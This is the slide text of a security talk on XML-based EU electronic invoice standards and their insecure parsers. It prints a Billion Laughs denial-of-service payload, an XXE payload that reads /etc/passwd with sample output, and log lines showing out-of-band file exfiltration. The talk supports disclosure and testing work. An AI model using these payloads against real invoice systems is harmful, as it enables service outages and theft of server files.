How the EU created Electronic Invoices without considering Security

Hanno Böck

"Complexity is the worst enemy of security"

(Bruce Schneier, 1999)

YAGNI

You aren't gonna need it

DTSTTCPW

Do The Simplest Thing That Can Possibly Work

Not everyone agrees with these Radical Ideas

eInvoicing Directive (2014/55/EU)

In principle, not a bad idea

• Machine-readable invoices
• Enable automation
• Reduce tax fraud

We have meta-standards, syntaxes, standards, profiles, extensions, ... for electronic invoices

• EN16931 is a set of "standards" developed by the European Committee for Standardization (CEN)
• EN16931 has two mandatory XML syntaxes: CII and UBL (+ optional syntaxes)
• EN16931 can be restricted with a CIUS (Core Invoice Usage Specification) or have extensions

• XRechnung is a CIUS and an extension
• ZUGFeRD is a standard for electronic invoices with several profiles, some of them compatible with EN16931 and/or XRechnung

This is more complex than it should be

Unhealthy Ecosystem

Downloading the standard

Part 1+2 free, part 3-6 cost €€€

EN 16931-1:2017+A1:2019/AC:2020

https://ec.europa.eu/digital-building-blocks/sites/spaces/DIGITAL/pages/467108661/European+Standard+and+Specifications

Link to CEN (European standardization organization) does not work

If you find the right page, CEN only refers to the national standardization organizations

https://www.dinmedia.de/en/standard/din-en-16931-1/327729047

https://www.dinmedia.de/en/standard/une-en-16931-1-a1/331859894

The Estonian Standardization organization (EVS) does not require an account to "buy" free documents

EVS has cheaper prices!

https://www.dinmedia.de/en/standard/pd-cen-tr-16931-4/281134604
https://www.evs.ee/en/cen-tr-16931-4-2017

€ 99.99

VAT 19% (Germany)

€ 99.99 is not allowed due to rounding rules

€ 84.02 ⋅ 1.19 ≈ € 99.98

€ 84.03 ⋅ 1.19 ≈ € 100.00

Raphael Michel at MRMCD25

All those invoice formats are XML

XML and Security

Billion Laughs

<!DOCTYPE billion [
<!ENTITY a "lol">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;">
]>
<x>&j;</x>

Billion Laughs and Friends

• New variations are discovered regularly (unfixed issue in Expat)
• Prevented by heuristics, not standardized
• "Only" Denial of Service

XXE

XML eXternal Entity injection

XXE file exfiltration

<!DOCTYPE xxe [
<!ENTITY e SYSTEM "file:///etc/passwd">
]>
<x>&e;</x>

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY e SYSTEM "file:///etc/passwd">
]>
<x>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
[...]
</x>

XXE is not a solved problem

Some XML parsers have secure defaults

Others don't have secure defaults

FEATURE_SECURE_PROCESSING

Feature for secure processing.

• true instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.
• false instructs the implementation to process XML in accordance with the XML specifications ignoring security issues such as limits on XML constructs to avoid conditions such as denial of service attacks.

Java documentation FEATURE_SECURE_PROCESSING

Java documentation FEATURE_SECURE_PROCESSING

Does not say exactly what it does and whether it is on or off by default

To check the correctness of electronic invoices, the EU provides Schematron and XSLT files

https://github.com/ConnectingEurope/eInvoicing-EN16931

Requires XSLT 2.0

XSLT 1.0: Widely supported

XSLT 2.0+: Not widely supported

See also: https://github.com/w3ctag/obsoletion/issues/10

Saxon

Written in Java, bindings for C, PHP, Python

Saxon and XXE

Insecure by Default

To summarize...

• EU electronic invoices are based on XML (complex, inherent security flaws)
• Most software written in Java (Insecure by Default)
• Validation usually relies on Saxon (Insecure by Default)

The result is as expected...

portinvoice.com

"GET /bxxehostname.dtd HTTP/1.1" 200 426 "-" "Java/17.0.9"
"GET /ex.txt?e=[filecontent] HTTP/1.1" 200 281 "-" "Java/17.0.9"

13 Vulnerabilities reported while preparing this talk

It does not appear that Security was taken into account while developing these Standards

Suggestions

Immediately: test implementations for XXE vulnerabilities

I am sharing a test suite:
https://github.com/hannob/invoicesec

Reduce unnecessary Complexity

(e.g., no justification for two syntaxes)

Move away from XML to safer data formats

(JSON, while not perfect, is certainly better than XML)

Avoid pseudo-standards like XSLT 2.0

(make sure standards are widely implemented before using them)

Implement good IT Security practices

• Security Considerations in Standards
• Security contacts (security.txt)
• Guidance for secure implementation
• Test cases for security issues

Suggestion for Oracle

Make Java XML parsers secure

Suggestion for Everyone

Avoid XML if possible

Thanks for Listening!

https://invoice.secvuln.info/

Hanno Böck